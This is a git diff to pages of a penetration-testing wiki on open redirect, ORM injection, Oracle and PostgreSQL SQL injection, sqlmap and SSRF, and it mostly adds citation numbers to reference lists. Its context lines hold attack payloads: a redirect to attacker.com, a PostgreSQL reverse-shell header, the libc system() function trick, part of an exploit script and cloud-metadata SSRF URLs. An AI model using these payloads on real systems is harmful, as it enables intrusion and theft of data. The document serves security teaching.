diff --git a/src/pentesting-web/open-redirect.md b/src/pentesting-web/open-redirect.md
index ba4a136070f..79c495fffe6 100644
--- a/src/pentesting-web/open-redirect.md
+++ b/src/pentesting-web/open-redirect.md
@@ -280,7 +280,7 @@ rg -n "location\.(assign|replace|href)|window\.open|history\.(pushState|replaceS
### Fragment smuggling + client-side traversal chain (Grafana-style bypass)
-- **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target. Example against `/user/auth-tokens/rotate`:
+- **Server-side gap (Go `url.Parse` + raw redirect)**: validators that only inspect `URL.Path` and ignore `URL.Fragment` can be tricked by placing the external host after `#`. If the handler later builds `Location` from the *unsanitized* string, fragments leak back into the redirect target.[[9]](#references) Example against `/user/auth-tokens/rotate`:
- Request: `GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1`
- Parsing sees `Path=/` and `Fragment=/..//\//attacker.com`, so regex + `path.Clean()` approve `/`, but the response emits `Location: /\//attacker.com`, acting as an open redirect.
- **Client-side gap (validate decoded/cleaned, return original)**: SPA helpers that fully decode a path (including double-encoded `?`), strip the query for validation, but then return the *original* string let encoded `../` survive. Browser decoding later turns it into a traversal to any same-origin endpoint (e.g., the redirect gadget). Payload pattern:
@@ -323,13 +323,13 @@ cat list_of_urls.txt | openredirex -p payloads.txt -k FUZZ -c 50
## References
-- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
-- [https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/)
-- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists.
-- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
-- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
-- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
-- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
-- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
-- [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)
+- [1] [New crazy payloads in the URL validation bypass cheat sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
+- [2] [Writeup: Authentik CVE-2024-52289](https://securityblog.omegapoint.se/en/writeup-authentik-cve-2024-52289/)
+- [3] [PayloadsAllTheThings - Open Redirect fuzzing lists](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect)
+- [4] [Open Redirect cheatsheet (pentester.land)](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
+- [5] [Open-Redirect-Payloads (cujanovic)](https://github.com/cujanovic/Open-Redirect-Payloads)
+- [6] [Open Redirects: bypassing CSRF validations simplified](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
+- [7] [PortSwigger Web Security Academy - DOM-based open redirection](https://portswigger.net/web-security/dom-based/open-redirection)
+- [8] [OpenRedireX - A fuzzer for detecting open redirect vulnerabilities](https://github.com/devanshbatham/OpenRedireX)
+- [9] [Grafana CVE-2025-6023 redirect + traversal bypass chain](https://blog.ethiack.com/blog/grafana-cve-2025-6023-bypass-a-technical-deep-dive)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/orm-injection.md b/src/pentesting-web/orm-injection.md
index 3638308deae..84f0dc1687d 100644
--- a/src/pentesting-web/orm-injection.md
+++ b/src/pentesting-web/orm-injection.md
@@ -4,7 +4,7 @@
## Django ORM (Python)
-In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:
+In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/) is explained how it's possible to make a Django ORM vulnerable by using for example a code like:[[1]](#references)
class ArticleView(APIView):
"""
@@ -97,7 +97,7 @@ From te same post regarding this vector:
## Beego ORM (Go) & Harbor Filter Oracles
-Beego mirrors Django’s `field__operator` DSL, so any handler that lets users control the first argument to `QuerySeter.Filter()` exposes the entire graph of relations:
+Beego mirrors Django’s `field__operator` DSL, so any handler that lets users control the first argument to `QuerySeter.Filter()` exposes the entire graph of relations:[[3]](#references)
```go
qs := o.QueryTable("articles")
@@ -127,7 +127,7 @@ v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match build
## Prisma ORM (NodeJS)
-The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
+The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).[[2]](#references)
- **Full find contro**l:
@@ -355,7 +355,7 @@ Look for flows where:
## Strapi Content API `where` smuggling (NodeJS)
-Strapi's public Content API is a good example of an **ORM/query-builder injection without direct SQL injection**. In vulnerable `@strapi/strapi` versions **4.0.0 through 5.36.1**, the Content API validated/sanitized documented keys such as `filters`, `sort`, `fields`, and `populate`, but **ignored unknown top-level keys** instead of rejecting them. Later, the query transformer preserved those unknown keys via `...rest` and forwarded them into the internal database query builder.
+Strapi's public Content API is a good example of an **ORM/query-builder injection without direct SQL injection**. In vulnerable `@strapi/strapi` versions **4.0.0 through 5.36.1**, the Content API validated/sanitized documented keys such as `filters`, `sort`, `fields`, and `populate`, but **ignored unknown top-level keys** instead of rejecting them. Later, the query transformer preserved those unknown keys via `...rest` and forwarded them into the internal database query builder.[[5]](#references)[[6]](#references)
That means a public request can smuggle a real `where` tree even though `where` is **not** a documented Content API parameter:
@@ -449,7 +449,7 @@ Libraries and middleware that translate user strings into ORM operators (e.g., E
## **Ransack (Ruby)**
-These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
+These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**[[4]](#references)
> [!TIP]
> **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
@@ -485,12 +485,12 @@ Calibrating payloads to the real collation avoids wasted probes and significantl
## References
-- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
-- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
-- [https://www.elttam.com/blog/leaking-more-than-you-joined-for/](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
-- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
-- [https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi](https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi)
-- [https://github.com/advisories/GHSA-rjg2-95x7-8qmx](https://github.com/advisories/GHSA-rjg2-95x7-8qmx)
+- [1] [Plormbing your Django ORM](https://www.elttam.com/blog/plormbing-your-django-orm/)
+- [2] [Plorming your Prisma ORM](https://www.elttam.com/blog/plorming-your-primsa-orm/)
+- [3] [Leaking more than you joined for (Beego/Harbor ORM leaks)](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
+- [4] [Ransack data exfiltration](https://positive.security/blog/ransack-data-exfiltration)
+- [5] [CVE-2026-27886: Unauthenticated Boolean Oracle Exfiltration of Administrator Secrets in Strapi](https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi)
+- [6] [GHSA-rjg2-95x7-8qmx: Strapi Content API where-clause injection advisory](https://github.com/advisories/GHSA-rjg2-95x7-8qmx)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/cypher-injection-neo4j.md b/src/pentesting-web/sql-injection/cypher-injection-neo4j.md
index e1ece8ce613..1457ce3a24e 100644
--- a/src/pentesting-web/sql-injection/cypher-injection-neo4j.md
+++ b/src/pentesting-web/sql-injection/cypher-injection-neo4j.md
@@ -2,11 +2,16 @@
{{#include ../../banners/hacktricks-training.md}}
-Check the following blogs:
+Check the following blogs:[[1]](#references)[[2]](#references)
- [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
- [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
+## References
+
+- [1] [Neo4jection: Secrets, Data, and Cloud Exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
+- [2] [The Most Underrated Injection of All Time — Cypher Injection](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
+
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/oracle-injection.md b/src/pentesting-web/sql-injection/oracle-injection.md
index 58a1e493a7c..3a39fd35a29 100644
--- a/src/pentesting-web/sql-injection/oracle-injection.md
+++ b/src/pentesting-web/sql-injection/oracle-injection.md
@@ -6,7 +6,7 @@
## SSRF
-Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.
+Using Oracle to do Out of Band HTTP and DNS requests is well documented but as a means of exfiltrating SQL data in injections. We can always modify these techniques/functions to do other SSRF/XSPA.[[3]](#references)
Installing Oracle can be really painful, especially if you want to set up a quick instance to try out commands. My friend and colleague at [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), pointed me to [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) that allowed me to setup an instance on a t2.large AWS Ubuntu machine and Docker.
@@ -181,7 +181,7 @@ SELECT UTL_INADDR.get_host_address(
### DBMS_CLOUD.SEND_REQUEST – full HTTP client on Autonomous/23c
-Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.
+Recent cloud-centric editions (Autonomous Database, 21c/23c, 23ai) ship with `DBMS_CLOUD`. The `SEND_REQUEST` function acts as a general-purpose HTTP client that supports custom verbs, headers, TLS and large bodies, making it far more powerful than the classical `UTL_HTTP`.[[1]](#references)
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
@@ -216,7 +216,7 @@ Because `SEND_REQUEST` allows arbitrary target URIs it can be abused via SQLi fo
### Automating the attack surface with **ODAT**
-[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022). The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
+[ODAT – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) has kept pace with modern releases (tested up to 19c, 5.1.1 – Apr-2022).[[2]](#references) The `–utl_http`, `–utl_tcp`, `–httpuritype` and newer `–dbms_cloud` modules automatically:
* Detect usable callout packages/ACL grants.
* Trigger DNS & HTTP callbacks for blind extraction.
* Generate ready-to-copy SQL payloads for Burp/SQLMap.
@@ -248,7 +248,8 @@ WHERE object_type = 'PROCEDURE'
## References
-* Oracle Docs – `DBMS_CLOUD.SEND_REQUEST` package description and examples.
-* quentinhardy/odat – Oracle Database Attacking Tool (latest release 5.1.1, Apr-2022).
+- [1] [Oracle Docs – DBMS_CLOUD Subprograms and REST APIs (SEND_REQUEST)](https://docs.oracle.com/en-us/iaas/autonomous-database-serverless/doc/dbms-cloud-subprograms.html)
+- [2] [quentinhardy/odat – Oracle Database Attacking Tool](https://github.com/quentinhardy/odat)
+- [3] [Using SQL injection to perform SSRF/XSPA attacks (ibreak.software, Wayback Machine copy)](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
index 52b05257892..8f9f4cd4baf 100644
--- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
+++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md
@@ -14,7 +14,7 @@ Also, keep in mind that **if you don't know how to** [**upload files to the vict
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
-The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
+The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).[[1]](#references)
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
@@ -87,7 +87,7 @@ This error is explained in the [PostgreSQL documentation](https://www.postgresql
> `PG_MODULE_MAGIC;`\
> `#endif`
-Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.
+Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.[[1]](#references)
#### Compile the library
@@ -195,7 +195,7 @@ SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
```
-In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:
+In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)you can find this reverse-shell:[[3]](#references)
```c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
@@ -289,7 +289,7 @@ In the **latest versions** of PostgreSQL, restrictions have been imposed where t
Despite these restrictions, it's possible for an authenticated database `superuser` to **write binary files** to the filesystem using "large objects." This capability extends to writing within the `C:\Program Files\PostgreSQL\11\data` directory, which is essential for database operations like updating or creating tables.
-A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.
+A significant vulnerability arises from the `CREATE FUNCTION` command, which **permits directory traversal** into the data directory. Consequently, an authenticated attacker could **exploit this traversal** to write a shared library file into the data directory and then **load it**. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.[[4]](#references)
#### Attack flow
@@ -311,7 +311,7 @@ _Note that you don't need to append the `.dll` extension as the create function
For more information **read the**[ **original publication here**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
In that publication **this was the** [**code use to generate the postgres extension**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_to learn how to compile a postgres extension read any of the previous versions_).\
-In the same page this **exploit to automate** this technique was given:
+In the same page this **exploit to automate** this technique was given:[[4]](#references)
```python
#!/usr/bin/env python3
@@ -353,7 +353,9 @@ print(" drop function connect_back(text, integer);")
## References
-- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
-- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
+- [1] [PostgreSQL 9.x Remote Command Execution](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
+- [2] [Having Fun With PostgreSQL](https://www.exploit-db.com/papers/13084)
+- [3] [Windows DLL to Shell PostgreSQL Servers](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)
+- [4] [SQL Injection Double Uppercut :: How to Achieve Remote Code Execution against PostgreSQL](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md
index 03d5ee638b8..782e59816e8 100644
--- a/src/pentesting-web/sql-injection/sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap.md
@@ -213,18 +213,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| luanginxmore.py | POST-only tamper that prepends millions of dummy parameters to exhaust Lua‑Nginx WAF parsers (e.g., Cloudflare). |
-`luanginxmore` generates ~4.2M random POST parameters before your payload; use it only with `--method=POST` and expect large request sizes to crash poorly configured Lua-Nginx WAFs.
+`luanginxmore` generates ~4.2M random POST parameters before your payload; use it only with `--method=POST` and expect large request sizes to crash poorly configured Lua-Nginx WAFs.[[3]](#references)
## Recent switches worth enabling (>=1.9.x)
-* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.
+* **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.[[2]](#references)
* **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.
* **Offline / purge modes**: `--offline` reuses cached session data without touching the target (zero network traffic), while `--purge` securely wipes the session/output directory when you’re done.
* **Mobile UA emulation**: `--mobile` prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients.
## References
-- [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage)
-- [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/)
-- [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py)
+
+- [1] [SQLMap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/usage)
+- [2] [SQLMap Command Builder (flags summary incl. HTTP/2)](https://vizzdoom.github.io/sqlmap-command-builder/)
+- [3] [luanginxmore tamper (sqlmap GitHub)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/tamper/luanginxmore.py)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md
index 033d897d683..8a0f208363d 100644
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@@ -250,7 +250,8 @@ Remember that **you can create your own tamper in python** and it's very simple.
## References
-- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
+
+- [1] [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
index 96c8ef03289..a6149df6505 100644
--- a/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
+++ b/src/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md
@@ -8,7 +8,7 @@ You need to provide:
- The **request** where the **sqlinjection payload** is going to be saved
- The **request** where the **payload** will be **executed**
-The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.
+The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.[[2]](#references)
**Simple second order example:**
@@ -80,7 +80,7 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
## Useful switches in real second-order flows
-Second-order automation usually fails because the **payload storage request works**, but the **execution request is noisy, stateful, or protected**. When that happens, the following flags are usually more useful than adding more payloads:
+Second-order automation usually fails because the **payload storage request works**, but the **execution request is noisy, stateful, or protected**. When that happens, the following flags are usually more useful than adding more payloads:[[1]](#references)
```bash
sqlmap -r login.txt -p email \
@@ -102,7 +102,7 @@ sqlmap -r login.txt -p email \
## When `--tamper` is not enough
-`tamper.py` is still the easiest way to **register a payload, log out, log in again, and trigger execution**. However, on modern targets it is often cleaner to move some of the logic to **request/response hooks**:
+`tamper.py` is still the easiest way to **register a payload, log out, log in again, and trigger execution**. However, on modern targets it is often cleaner to move some of the logic to **request/response hooks**:[[1]](#references)
- `--preprocess`: Modify the full HTTP request before it is sent. Useful when a second-order flow needs an extra nonce, an extra parameter, or header normalization.
- `--postprocess`: Clean the HTTP response before sqlmap compares it. Useful when the second-order sink is wrapped in dynamic HTML and only a small fragment is stable.
@@ -127,7 +127,7 @@ def postprocess(page, headers=None, code=None):
## Important limitations
- Do **not assume** that `--second-req` will replay the same payload inside a `*` placeholder in the second request. If the trigger request also needs the injected value (or a derived version of it), a custom `tamper`, `--preprocess`, or a local proxy is usually required.
-- Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.
+- Do **not rely on** `--eval` for the second request. Official usage documents `--eval` for the primary request flow; if the second request also needs per-attempt mutations, handle them inside your helper scripts instead.[[1]](#references)
This pattern is especially useful when the payload is stored in places such as:
@@ -138,8 +138,8 @@ This pattern is especially useful when the payload is stored in places such as:
## References
-- [sqlmap official usage wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
-- [Second Order SQLi: Automating with sqlmap](https://jlajara.gitlab.io/Second_order_sqli)
+- [1] [sqlmap official usage wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage)
+- [2] [Second Order SQLi: Automating with sqlmap](https://jlajara.gitlab.io/Second_order_sqli)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
index 2dd5c5c9cf3..6f89bdefb7d 100644
--- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md
@@ -58,7 +58,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
```
- **Curl URL globbing - WAF bypass**
- - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:
+ - If the SSRF is executed by **curl**, curl has a feature called [**URL globbing**](https://everything.curl.dev/cmdline/globbing) that could be useful to bypass WAFs. For example in this [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) you can find this example for a **path traversal via `file` protocol**:[[12]](#references)
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
@@ -123,7 +123,7 @@ Analytics software on servers often logs the Referrer header to track incoming l
## SSRF via SNI data from certificate
-A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:
+A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:[[3]](#references)
```
stream {
@@ -144,7 +144,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## SSRF via TLS AIA CA Issuers (Java mTLS)
-Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.
+Some TLS stacks will auto-download missing intermediate CAs using the **Authority Information Access (AIA) → CA Issuers** URI inside the peer certificate. In **Java**, enabling `-Dcom.sun.security.enableAIAcaIssuers=true` while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate **during the handshake**, before any HTTP logic runs.[[6]](#references)[[7]](#references)
- **Requirements**: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
- **Triggering SSRF** (Java 21 example):
@@ -229,7 +229,7 @@ if __name__ == "__main__":
## Misconfigured proxies to SSRF
-Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
+Tricks [**from this post**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).[[4]](#references)
### Flask
@@ -311,7 +311,7 @@ Connection: close
### Reverse proxies that accept absolute URLs in the request line (open forward-proxy)
-Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.
+Some reverse proxies also accept **absolute-form request lines** (`GET http://10.0.0.5:8080/path HTTP/1.1`) and forward the URL as-is to a backend instead of rejecting it or rewriting it to the configured upstream. This turns the reverse proxy into a **pre-auth forward proxy with full-read SSRF**, including access to `localhost`-bound services that would normally be unreachable from the Internet.[[8]](#references)
Key points:
- **Request line controls destination**: the authority in the absolute URL overrides normal routing; the `Host` header is usually ignored.
@@ -375,7 +375,7 @@ The difference between a blind SSRF and a not blind one is that in the blind you
### From blid to full abusing status codes
-According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.
+According to this [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), some blind SSRF might happen because even if the targeted URL responds with a 200 status code (like AWS metadata), this dat is not properly formatted and therefore the app might refuse to show it.[[13]](#references)
However, it as found that sending some redirecs responses from 305 to 309 in the SSRF it might possible to makethen application **follow these redirects while entering an error mode** that no longer will check the format of the data and might just print it.
@@ -411,7 +411,7 @@ Note that this is interesting to leak status codes that you couldn't leak before
### HTML-to-PDF renderers as blind SSRF gadgets
-Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `` or `` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.
+Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `` or `` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.[[5]](#references)
```
@@ -430,9 +430,9 @@ Hardeners should strip external URLs before rendering or isolate the renderer in
## Filename mini-languages as SSRF/file primitives (CFITSIO EFS)
-Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.
+Some libraries treat a **filename** as a **mini-language** instead of a literal path. When untrusted input reaches these parsers, the sink stops being “open a file” and becomes “interpret a DSL that can select protocols, filters, output paths, and transformations”. Treat these APIs like SSRF-capable interpreters, not like safe file open calls.[[9]](#references)
-A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:
+A good example is **CFITSIO Extended Filename Syntax (EFS)**. Passing attacker-controlled input to EFS-aware APIs such as `fits_open_file()` may expose several chained primitives:[[10]](#references)
- **Persistent SSRF / forced download**: URL-like prefixes (`http://`, `https://`, `ftp://`, `ftps://`) make CFITSIO fetch remote content. The **outfile** syntax then writes the response body to a local path controlled by the attacker:
@@ -465,7 +465,7 @@ $'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/to
### Mitigations
-- Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.
+- Prefer literal-path APIs such as **`fits_open_diskfile()`** or **`fits_open_datafile()`** when opening untrusted paths.[[11]](#references)
- Treat extended filename syntaxes as **privileged features** and disable or gate them for attacker-controlled input.
- Reject or strictly sanitise metacharacters that switch parser modes (`(`, `)`, `[`, `]`, CR, LF, scheme prefixes) before calling EFS-aware APIs.
@@ -525,16 +525,18 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
## References
